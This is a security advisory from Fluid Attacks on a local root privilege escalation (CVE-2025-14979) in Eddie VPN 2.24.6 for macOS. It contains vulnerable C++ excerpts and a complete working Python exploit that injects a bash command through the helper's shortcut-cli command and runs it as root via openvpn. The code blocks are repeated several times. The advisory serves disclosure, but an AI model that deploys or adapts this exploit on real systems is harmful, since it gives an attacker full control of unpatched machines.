
Eddie VPN 2.24.6 - Local Privilege Escalation
8.5
High
8.5
High
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Eddie VPN 2.24.6 - Local Privilege Escalation via shortcut-cli + openvpn Command Chain
Code name
State
Public
Release date
Jan 6, 2026
Affected product
Eddie VPN
Vendor
AirVPN
Affected version(s)
2.24.6
Vulnerability name
Privilege escalation
Vulnerability type
Remotely exploitable
No
CVSS v4.0 vector string
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS v4.0 base score
8.5
Exploit available
Yes
CVE ID(s)
Description
Eddie VPN for macOS contains a privilege escalation vulnerability that allows local, unprivileged users to execute arbitrary code as root. The vulnerability stems from a chain of two commands in the privileged helper tool eddie-cli-elevated: shortcut-cli and openvpn, which, when combined, allow complete system compromise without user interaction.
This vulnerability is exploitable when the user has enabled the "Don't ask elevation every run" option in Eddie VPN settings. This option installs a LaunchDaemon (org.airvpn.eddie.ui.elevated.plist) that runs the privileged helper tool persistently, allowing any local process to connect to it without requiring the Eddie GUI to be running. This significantly increases the attack surface as the vulnerable service remains accessible even when the VPN application is not actively in use.
The exploitation chain works as follows:
shortcut-cli creates a malicious wrapper script at /usr/local/bin/eddie-cli with root ownership and 0755 permissions.
The wrapper passes all security checks in CheckIfExecutableIsAllowed (root-owned, not writable by group/other, executable)
openvpn command accepts the wrapper path because it only validates file permissions, not content
When openvpn executes the wrapper, the malicious code runs with root privileges.
Four flaws cause the vulnerability:
shortcut-cli does not validate the content of the script it creates
CheckIfExecutableIsAllowed only validates file permissions, not authenticity or content
openvpn trusts any executable that passes permission checks without verifying it's a legitimate OpenVPN binary
file-immutable-set allows making arbitrary files immutable, enabling denial of service and persistence attacks
Vulnerability
The core of the vulnerability lies in the shortcut-cli command implementation that creates executable scripts without content validation: (src/App.CLI.MacOS.Elevated/src/impl.cpp - Line 82-98 )
else if (command == "shortcut-cli") { std::string action = params["action"]; std::string pathExecutable = params["path"]; std::string pathShortcut = "/usr/local/bin/eddie-cli"; if (action == "set") { FsDirectoryCreate("/usr/local/bin"); // NO VALIDATION of pathExecutable content FsFileWriteText(pathShortcut, "#! /bin/bash\n\"" + pathExecutable + "\" $@"); chmod(pathShortcut.c_str(), S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); } }
else if (command == "shortcut-cli") { std::string action = params["action"]; std::string pathExecutable = params["path"]; std::string pathShortcut = "/usr/local/bin/eddie-cli"; if (action == "set") { FsDirectoryCreate("/usr/local/bin"); // NO VALIDATION of pathExecutable content FsFileWriteText(pathShortcut, "#! /bin/bash\n\"" + pathExecutable + "\" $@"); chmod(pathShortcut.c_str(), S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); } }
else if (command == "shortcut-cli") { std::string action = params["action"]; std::string pathExecutable = params["path"]; std::string pathShortcut = "/usr/local/bin/eddie-cli"; if (action == "set") { FsDirectoryCreate("/usr/local/bin"); // NO VALIDATION of pathExecutable content FsFileWriteText(pathShortcut, "#! /bin/bash\n\"" + pathExecutable + "\" $@"); chmod(pathShortcut.c_str(), S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); } }
else if (command == "shortcut-cli") { std::string action = params["action"]; std::string pathExecutable = params["path"]; std::string pathShortcut = "/usr/local/bin/eddie-cli"; if (action == "set") { FsDirectoryCreate("/usr/local/bin"); // NO VALIDATION of pathExecutable content FsFileWriteText(pathShortcut, "#! /bin/bash\n\"" + pathExecutable + "\" $@"); chmod(pathShortcut.c_str(), S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); } }
The security check function only validates permissions: (src/Lib.CLI.Elevated/src/ibase.cpp - Line ~1002)
bool IBase::CheckIfExecutableIsAllowed(const std::string& fullPath, bool throwException) { struct stat st; if (stat(fullPath.c_str(), &st) != 0) return false; // Only checks ownership and permissions if (st.st_uid != 0) // Must be root-owned return false; if (st.st_mode & (S_IWGRP | S_IWOTH)) // Not writable by group/other return false; if (!(st.st_mode & S_IXUSR)) // Must be executable return false; return true; // NO content validation, NO signature verification }
bool IBase::CheckIfExecutableIsAllowed(const std::string& fullPath, bool throwException) { struct stat st; if (stat(fullPath.c_str(), &st) != 0) return false; // Only checks ownership and permissions if (st.st_uid != 0) // Must be root-owned return false; if (st.st_mode & (S_IWGRP | S_IWOTH)) // Not writable by group/other return false; if (!(st.st_mode & S_IXUSR)) // Must be executable return false; return true; // NO content validation, NO signature verification }
bool IBase::CheckIfExecutableIsAllowed(const std::string& fullPath, bool throwException) { struct stat st; if (stat(fullPath.c_str(), &st) != 0) return false; // Only checks ownership and permissions if (st.st_uid != 0) // Must be root-owned return false; if (st.st_mode & (S_IWGRP | S_IWOTH)) // Not writable by group/other return false; if (!(st.st_mode & S_IXUSR)) // Must be executable return false; return true; // NO content validation, NO signature verification }
bool IBase::CheckIfExecutableIsAllowed(const std::string& fullPath, bool throwException) { struct stat st; if (stat(fullPath.c_str(), &st) != 0) return false; // Only checks ownership and permissions if (st.st_uid != 0) // Must be root-owned return false; if (st.st_mode & (S_IWGRP | S_IWOTH)) // Not writable by group/other return false; if (!(st.st_mode & S_IXUSR)) // Must be executable return false; return true; // NO content validation, NO signature verification }
The openvpn command trusts this validation: (src/Lib.CLI.Elevated/src/iposix.cpp - Line 66-104)
else if (command == "openvpn") { if (action == "start") { CheckIfExecutableIsAllowed(params["path"], true); // Only permission check std::string checkResult = CheckValidOpenVpnConfigFile(params["config"]); if (checkResult != "") ThrowException("Not supported OpenVPN config: " + checkResult); // Executes the binary without verifying it's actually OpenVPN pstream child(argv, mode); // ... } }
else if (command == "openvpn") { if (action == "start") { CheckIfExecutableIsAllowed(params["path"], true); // Only permission check std::string checkResult = CheckValidOpenVpnConfigFile(params["config"]); if (checkResult != "") ThrowException("Not supported OpenVPN config: " + checkResult); // Executes the binary without verifying it's actually OpenVPN pstream child(argv, mode); // ... } }
else if (command == "openvpn") { if (action == "start") { CheckIfExecutableIsAllowed(params["path"], true); // Only permission check std::string checkResult = CheckValidOpenVpnConfigFile(params["config"]); if (checkResult != "") ThrowException("Not supported OpenVPN config: " + checkResult); // Executes the binary without verifying it's actually OpenVPN pstream child(argv, mode); // ... } }
else if (command == "openvpn") { if (action == "start") { CheckIfExecutableIsAllowed(params["path"], true); // Only permission check std::string checkResult = CheckValidOpenVpnConfigFile(params["config"]); if (checkResult != "") ThrowException("Not supported OpenVPN config: " + checkResult); // Executes the binary without verifying it's actually OpenVPN pstream child(argv, mode); // ... } }
PoC
#!/usr/bin/env python3 """ PoC: LPE chain via shortcut-cli + openvpn - shortcut-cli plants /usr/local/bin/eddie-cli (root:wheel 0755) - openvpn accepts and executes that path as root (does not validate content) """ import os import time import socket import base64 import hashlib import getpass # ============================================================================ # EddieSession - Integrated client # ============================================================================ class EddieSession: """Persistent session with eddie-cli-elevated""" def __init__(self, host="127.0.0.1", port=9350): self.host = host self.port = port self.sock = None self.token = None self.cmd_id = 0 self.initialized = False def connect(self): """Connect to the server""" self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(10) self.sock.connect((self.host, self.port)) # Read handshake handshake = self.sock.recv(1024) pid_line = handshake.decode('utf-8', errors='ignore').strip() print(f"[+] Connected - {pid_line}") return True def send_command(self, command, **params): """Send a command using the current connection""" # Generate token if it doesn't exist if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # Build command parts = [ f"command:{self._encode(command)}", f"_id:{self._encode(self.cmd_id)}", f"_token:{self._encode(self.token)}", f"_debug:{self._encode(0)}" ] # Add parameters for key, value in params.items(): parts.append(f"{key}:{self._encode(value)}") cmd_str = ";".join(parts) + ";\n" # Send self.sock.send(cmd_str.encode()) # Receive response response = b"" self.sock.settimeout(2) try: while True: chunk = self.sock.recv(4096) if not chunk: break response += chunk if b"ee:end:" in response: break except socket.timeout: pass self.cmd_id += 1 return self._parse_response(response.decode('utf-8', errors='ignore')) def initialize(self): """Fully initialize the session""" username = getpass.getuser() # Generate token BEFORE sending session-key if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # 1. session-key result = self.send_command("session-key", key=self.token, version="v1378", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 2. bin-path-add result = self.send_command("bin-path-add", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 3. compatibility-profiles result = self.send_command("compatibility-profiles", **{ "path-app": "/Applications/Eddie.app/Contents/MacOS", "path-data": f"/Users/{username}/.config/eddie", "owner": username } ) if result['exception']: return False self.initialized = True return True def close(self): """Close the session""" if self.sock: try: self.send_command("exit") except: pass self.sock.close() def _encode(self, value): """Base64 encode""" return base64.b64encode(str(value).encode()).decode() def _decode_safe(self, data): """Safely decode base64""" try: missing_padding = len(data) % 4 if missing_padding: data += '=' * (4 - missing_padding) return base64.b64decode(data).decode('utf-8', errors='ignore') except: return data def _parse_response(self, response_str): """Parse server response""" result = { 'success': False, 'data': None, 'exception': None, 'raw': response_str } for line in response_str.strip().split('\n'): line = line.strip() if not line or line.startswith("ee:end:"): continue if line.startswith("ee:data:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_data = parts[2].split(":", 1) if len(id_and_data) >= 2: result['data'] = self._decode_safe(id_and_data[1]) result['success'] = True elif line.startswith("ee:exception:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_exc = parts[2].split(":", 1) if len(id_and_exc) >= 2: result['exception'] = self._decode_safe(id_and_exc[1]) return result # ============================================================================ # Main PoC # ============================================================================ WRAPPER = "/usr/local/bin/eddie-cli" PROOF = "/tmp/eddie_lpe_root.txt" def main(): print("[*] Connecting and initializing session...") sess = EddieSession() sess.connect() sess.initialize() # Remove previous test files for f in (WRAPPER, PROOF): try: os.remove(f) except FileNotFoundError: pass # 1) Plant malicious wrapper using shortcut-cli print("[*] Planting malicious wrapper using shortcut-cli...") malicious = f"""#! /bin/bash echo 'PWNED by shortcut-cli + openvpn' > {PROOF} echo "whoami=$(whoami)" >> {PROOF} echo "uid=$(id -u)" >> {PROOF} id >> {PROOF} """ # shortcut-cli writes the full script: #!/bin/bash\n"<pathExecutable>" $@ # Trick: we make the path "/bin/bash -c '<payload>'" payload = f"/bin/bash -c \"{malicious.replace(chr(10), ';')}\"" sess.send_command("shortcut-cli", action="set", path=payload) # 2) Trigger openvpn with the planted wrapper as the “binary” print("[*] Executing openvpn with planted wrapper...") # Minimal OpenVPN config accepted by CheckValidOpenVpnConfigFile cfg_path = "/tmp/fake.ovpn" with open(cfg_path, "w") as f: f.write("client\ndev tun\nremote 127.0.0.1 1194\n") sess.send_command("openvpn", id="poc", action="start", path=WRAPPER, config=cfg_path) time.sleep(3) # give time for the wrapper to run # 3) Verify execution as root if os.path.exists(PROOF): print("[+] PoC executed. Contents of", PROOF) print(open(PROOF).read()) else: print("[-] Test file was not created; execution did not occur") # Light cleanup sess.send_command("openvpn", id="poc", action="stop", signal="sigterm") sess.send_command("shortcut-cli", action="del") sess.close() if __name__ == "__main__": main()
#!/usr/bin/env python3 """ PoC: LPE chain via shortcut-cli + openvpn - shortcut-cli plants /usr/local/bin/eddie-cli (root:wheel 0755) - openvpn accepts and executes that path as root (does not validate content) """ import os import time import socket import base64 import hashlib import getpass # ============================================================================ # EddieSession - Integrated client # ============================================================================ class EddieSession: """Persistent session with eddie-cli-elevated""" def __init__(self, host="127.0.0.1", port=9350): self.host = host self.port = port self.sock = None self.token = None self.cmd_id = 0 self.initialized = False def connect(self): """Connect to the server""" self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(10) self.sock.connect((self.host, self.port)) # Read handshake handshake = self.sock.recv(1024) pid_line = handshake.decode('utf-8', errors='ignore').strip() print(f"[+] Connected - {pid_line}") return True def send_command(self, command, **params): """Send a command using the current connection""" # Generate token if it doesn't exist if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # Build command parts = [ f"command:{self._encode(command)}", f"_id:{self._encode(self.cmd_id)}", f"_token:{self._encode(self.token)}", f"_debug:{self._encode(0)}" ] # Add parameters for key, value in params.items(): parts.append(f"{key}:{self._encode(value)}") cmd_str = ";".join(parts) + ";\n" # Send self.sock.send(cmd_str.encode()) # Receive response response = b"" self.sock.settimeout(2) try: while True: chunk = self.sock.recv(4096) if not chunk: break response += chunk if b"ee:end:" in response: break except socket.timeout: pass self.cmd_id += 1 return self._parse_response(response.decode('utf-8', errors='ignore')) def initialize(self): """Fully initialize the session""" username = getpass.getuser() # Generate token BEFORE sending session-key if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # 1. session-key result = self.send_command("session-key", key=self.token, version="v1378", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 2. bin-path-add result = self.send_command("bin-path-add", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 3. compatibility-profiles result = self.send_command("compatibility-profiles", **{ "path-app": "/Applications/Eddie.app/Contents/MacOS", "path-data": f"/Users/{username}/.config/eddie", "owner": username } ) if result['exception']: return False self.initialized = True return True def close(self): """Close the session""" if self.sock: try: self.send_command("exit") except: pass self.sock.close() def _encode(self, value): """Base64 encode""" return base64.b64encode(str(value).encode()).decode() def _decode_safe(self, data): """Safely decode base64""" try: missing_padding = len(data) % 4 if missing_padding: data += '=' * (4 - missing_padding) return base64.b64decode(data).decode('utf-8', errors='ignore') except: return data def _parse_response(self, response_str): """Parse server response""" result = { 'success': False, 'data': None, 'exception': None, 'raw': response_str } for line in response_str.strip().split('\n'): line = line.strip() if not line or line.startswith("ee:end:"): continue if line.startswith("ee:data:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_data = parts[2].split(":", 1) if len(id_and_data) >= 2: result['data'] = self._decode_safe(id_and_data[1]) result['success'] = True elif line.startswith("ee:exception:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_exc = parts[2].split(":", 1) if len(id_and_exc) >= 2: result['exception'] = self._decode_safe(id_and_exc[1]) return result # ============================================================================ # Main PoC # ============================================================================ WRAPPER = "/usr/local/bin/eddie-cli" PROOF = "/tmp/eddie_lpe_root.txt" def main(): print("[*] Connecting and initializing session...") sess = EddieSession() sess.connect() sess.initialize() # Remove previous test files for f in (WRAPPER, PROOF): try: os.remove(f) except FileNotFoundError: pass # 1) Plant malicious wrapper using shortcut-cli print("[*] Planting malicious wrapper using shortcut-cli...") malicious = f"""#! /bin/bash echo 'PWNED by shortcut-cli + openvpn' > {PROOF} echo "whoami=$(whoami)" >> {PROOF} echo "uid=$(id -u)" >> {PROOF} id >> {PROOF} """ # shortcut-cli writes the full script: #!/bin/bash\n"<pathExecutable>" $@ # Trick: we make the path "/bin/bash -c '<payload>'" payload = f"/bin/bash -c \"{malicious.replace(chr(10), ';')}\"" sess.send_command("shortcut-cli", action="set", path=payload) # 2) Trigger openvpn with the planted wrapper as the “binary” print("[*] Executing openvpn with planted wrapper...") # Minimal OpenVPN config accepted by CheckValidOpenVpnConfigFile cfg_path = "/tmp/fake.ovpn" with open(cfg_path, "w") as f: f.write("client\ndev tun\nremote 127.0.0.1 1194\n") sess.send_command("openvpn", id="poc", action="start", path=WRAPPER, config=cfg_path) time.sleep(3) # give time for the wrapper to run # 3) Verify execution as root if os.path.exists(PROOF): print("[+] PoC executed. Contents of", PROOF) print(open(PROOF).read()) else: print("[-] Test file was not created; execution did not occur") # Light cleanup sess.send_command("openvpn", id="poc", action="stop", signal="sigterm") sess.send_command("shortcut-cli", action="del") sess.close() if __name__ == "__main__": main()
#!/usr/bin/env python3 """ PoC: LPE chain via shortcut-cli + openvpn - shortcut-cli plants /usr/local/bin/eddie-cli (root:wheel 0755) - openvpn accepts and executes that path as root (does not validate content) """ import os import time import socket import base64 import hashlib import getpass # ============================================================================ # EddieSession - Integrated client # ============================================================================ class EddieSession: """Persistent session with eddie-cli-elevated""" def __init__(self, host="127.0.0.1", port=9350): self.host = host self.port = port self.sock = None self.token = None self.cmd_id = 0 self.initialized = False def connect(self): """Connect to the server""" self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(10) self.sock.connect((self.host, self.port)) # Read handshake handshake = self.sock.recv(1024) pid_line = handshake.decode('utf-8', errors='ignore').strip() print(f"[+] Connected - {pid_line}") return True def send_command(self, command, **params): """Send a command using the current connection""" # Generate token if it doesn't exist if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # Build command parts = [ f"command:{self._encode(command)}", f"_id:{self._encode(self.cmd_id)}", f"_token:{self._encode(self.token)}", f"_debug:{self._encode(0)}" ] # Add parameters for key, value in params.items(): parts.append(f"{key}:{self._encode(value)}") cmd_str = ";".join(parts) + ";\n" # Send self.sock.send(cmd_str.encode()) # Receive response response = b"" self.sock.settimeout(2) try: while True: chunk = self.sock.recv(4096) if not chunk: break response += chunk if b"ee:end:" in response: break except socket.timeout: pass self.cmd_id += 1 return self._parse_response(response.decode('utf-8', errors='ignore')) def initialize(self): """Fully initialize the session""" username = getpass.getuser() # Generate token BEFORE sending session-key if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # 1. session-key result = self.send_command("session-key", key=self.token, version="v1378", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 2. bin-path-add result = self.send_command("bin-path-add", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 3. compatibility-profiles result = self.send_command("compatibility-profiles", **{ "path-app": "/Applications/Eddie.app/Contents/MacOS", "path-data": f"/Users/{username}/.config/eddie", "owner": username } ) if result['exception']: return False self.initialized = True return True def close(self): """Close the session""" if self.sock: try: self.send_command("exit") except: pass self.sock.close() def _encode(self, value): """Base64 encode""" return base64.b64encode(str(value).encode()).decode() def _decode_safe(self, data): """Safely decode base64""" try: missing_padding = len(data) % 4 if missing_padding: data += '=' * (4 - missing_padding) return base64.b64decode(data).decode('utf-8', errors='ignore') except: return data def _parse_response(self, response_str): """Parse server response""" result = { 'success': False, 'data': None, 'exception': None, 'raw': response_str } for line in response_str.strip().split('\n'): line = line.strip() if not line or line.startswith("ee:end:"): continue if line.startswith("ee:data:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_data = parts[2].split(":", 1) if len(id_and_data) >= 2: result['data'] = self._decode_safe(id_and_data[1]) result['success'] = True elif line.startswith("ee:exception:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_exc = parts[2].split(":", 1) if len(id_and_exc) >= 2: result['exception'] = self._decode_safe(id_and_exc[1]) return result # ============================================================================ # Main PoC # ============================================================================ WRAPPER = "/usr/local/bin/eddie-cli" PROOF = "/tmp/eddie_lpe_root.txt" def main(): print("[*] Connecting and initializing session...") sess = EddieSession() sess.connect() sess.initialize() # Remove previous test files for f in (WRAPPER, PROOF): try: os.remove(f) except FileNotFoundError: pass # 1) Plant malicious wrapper using shortcut-cli print("[*] Planting malicious wrapper using shortcut-cli...") malicious = f"""#! /bin/bash echo 'PWNED by shortcut-cli + openvpn' > {PROOF} echo "whoami=$(whoami)" >> {PROOF} echo "uid=$(id -u)" >> {PROOF} id >> {PROOF} """ # shortcut-cli writes the full script: #!/bin/bash\n"<pathExecutable>" $@ # Trick: we make the path "/bin/bash -c '<payload>'" payload = f"/bin/bash -c \"{malicious.replace(chr(10), ';')}\"" sess.send_command("shortcut-cli", action="set", path=payload) # 2) Trigger openvpn with the planted wrapper as the “binary” print("[*] Executing openvpn with planted wrapper...") # Minimal OpenVPN config accepted by CheckValidOpenVpnConfigFile cfg_path = "/tmp/fake.ovpn" with open(cfg_path, "w") as f: f.write("client\ndev tun\nremote 127.0.0.1 1194\n") sess.send_command("openvpn", id="poc", action="start", path=WRAPPER, config=cfg_path) time.sleep(3) # give time for the wrapper to run # 3) Verify execution as root if os.path.exists(PROOF): print("[+] PoC executed. Contents of", PROOF) print(open(PROOF).read()) else: print("[-] Test file was not created; execution did not occur") # Light cleanup sess.send_command("openvpn", id="poc", action="stop", signal="sigterm") sess.send_command("shortcut-cli", action="del") sess.close() if __name__ == "__main__": main()
#!/usr/bin/env python3 """ PoC: LPE chain via shortcut-cli + openvpn - shortcut-cli plants /usr/local/bin/eddie-cli (root:wheel 0755) - openvpn accepts and executes that path as root (does not validate content) """ import os import time import socket import base64 import hashlib import getpass # ============================================================================ # EddieSession - Integrated client # ============================================================================ class EddieSession: """Persistent session with eddie-cli-elevated""" def __init__(self, host="127.0.0.1", port=9350): self.host = host self.port = port self.sock = None self.token = None self.cmd_id = 0 self.initialized = False def connect(self): """Connect to the server""" self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(10) self.sock.connect((self.host, self.port)) # Read handshake handshake = self.sock.recv(1024) pid_line = handshake.decode('utf-8', errors='ignore').strip() print(f"[+] Connected - {pid_line}") return True def send_command(self, command, **params): """Send a command using the current connection""" # Generate token if it doesn't exist if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # Build command parts = [ f"command:{self._encode(command)}", f"_id:{self._encode(self.cmd_id)}", f"_token:{self._encode(self.token)}", f"_debug:{self._encode(0)}" ] # Add parameters for key, value in params.items(): parts.append(f"{key}:{self._encode(value)}") cmd_str = ";".join(parts) + ";\n" # Send self.sock.send(cmd_str.encode()) # Receive response response = b"" self.sock.settimeout(2) try: while True: chunk = self.sock.recv(4096) if not chunk: break response += chunk if b"ee:end:" in response: break except socket.timeout: pass self.cmd_id += 1 return self._parse_response(response.decode('utf-8', errors='ignore')) def initialize(self): """Fully initialize the session""" username = getpass.getuser() # Generate token BEFORE sending session-key if not self.token: self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest() # 1. session-key result = self.send_command("session-key", key=self.token, version="v1378", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 2. bin-path-add result = self.send_command("bin-path-add", path="/Applications/Eddie.app/Contents/MacOS" ) if result['exception']: return False # 3. compatibility-profiles result = self.send_command("compatibility-profiles", **{ "path-app": "/Applications/Eddie.app/Contents/MacOS", "path-data": f"/Users/{username}/.config/eddie", "owner": username } ) if result['exception']: return False self.initialized = True return True def close(self): """Close the session""" if self.sock: try: self.send_command("exit") except: pass self.sock.close() def _encode(self, value): """Base64 encode""" return base64.b64encode(str(value).encode()).decode() def _decode_safe(self, data): """Safely decode base64""" try: missing_padding = len(data) % 4 if missing_padding: data += '=' * (4 - missing_padding) return base64.b64decode(data).decode('utf-8', errors='ignore') except: return data def _parse_response(self, response_str): """Parse server response""" result = { 'success': False, 'data': None, 'exception': None, 'raw': response_str } for line in response_str.strip().split('\n'): line = line.strip() if not line or line.startswith("ee:end:"): continue if line.startswith("ee:data:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_data = parts[2].split(":", 1) if len(id_and_data) >= 2: result['data'] = self._decode_safe(id_and_data[1]) result['success'] = True elif line.startswith("ee:exception:"): parts = line.split(":", 2) if len(parts) >= 3: id_and_exc = parts[2].split(":", 1) if len(id_and_exc) >= 2: result['exception'] = self._decode_safe(id_and_exc[1]) return result # ============================================================================ # Main PoC # ============================================================================ WRAPPER = "/usr/local/bin/eddie-cli" PROOF = "/tmp/eddie_lpe_root.txt" def main(): print("[*] Connecting and initializing session...") sess = EddieSession() sess.connect() sess.initialize() # Remove previous test files for f in (WRAPPER, PROOF): try: os.remove(f) except FileNotFoundError: pass # 1) Plant malicious wrapper using shortcut-cli print("[*] Planting malicious wrapper using shortcut-cli...") malicious = f"""#! /bin/bash echo 'PWNED by shortcut-cli + openvpn' > {PROOF} echo "whoami=$(whoami)" >> {PROOF} echo "uid=$(id -u)" >> {PROOF} id >> {PROOF} """ # shortcut-cli writes the full script: #!/bin/bash\n"<pathExecutable>" $@ # Trick: we make the path "/bin/bash -c '<payload>'" payload = f"/bin/bash -c \"{malicious.replace(chr(10), ';')}\"" sess.send_command("shortcut-cli", action="set", path=payload) # 2) Trigger openvpn with the planted wrapper as the “binary” print("[*] Executing openvpn with planted wrapper...") # Minimal OpenVPN config accepted by CheckValidOpenVpnConfigFile cfg_path = "/tmp/fake.ovpn" with open(cfg_path, "w") as f: f.write("client\ndev tun\nremote 127.0.0.1 1194\n") sess.send_command("openvpn", id="poc", action="start", path=WRAPPER, config=cfg_path) time.sleep(3) # give time for the wrapper to run # 3) Verify execution as root if os.path.exists(PROOF): print("[+] PoC executed. Contents of", PROOF) print(open(PROOF).read()) else: print("[-] Test file was not created; execution did not occur") # Light cleanup sess.send_command("openvpn", id="poc", action="stop", signal="sigterm") sess.send_command("shortcut-cli", action="del") sess.close() if __name__ == "__main__": main()
Evidence of Exploitation
PoC




Output

Our security policy
We have reserved the ID CVE-2025-14979 to refer to this issue from now on.
System Information
Eddie VPN
Version 2.24.6
Operating System: macOS
References
Github Repository: https://github.com/AirVPN/Eddie
Product: https://eddie.website/
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.
Timeline
Dec 2, 2025
Vulnerability discovered
Dec 19, 2025
Vendor contacted
Jan 6, 2026
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.





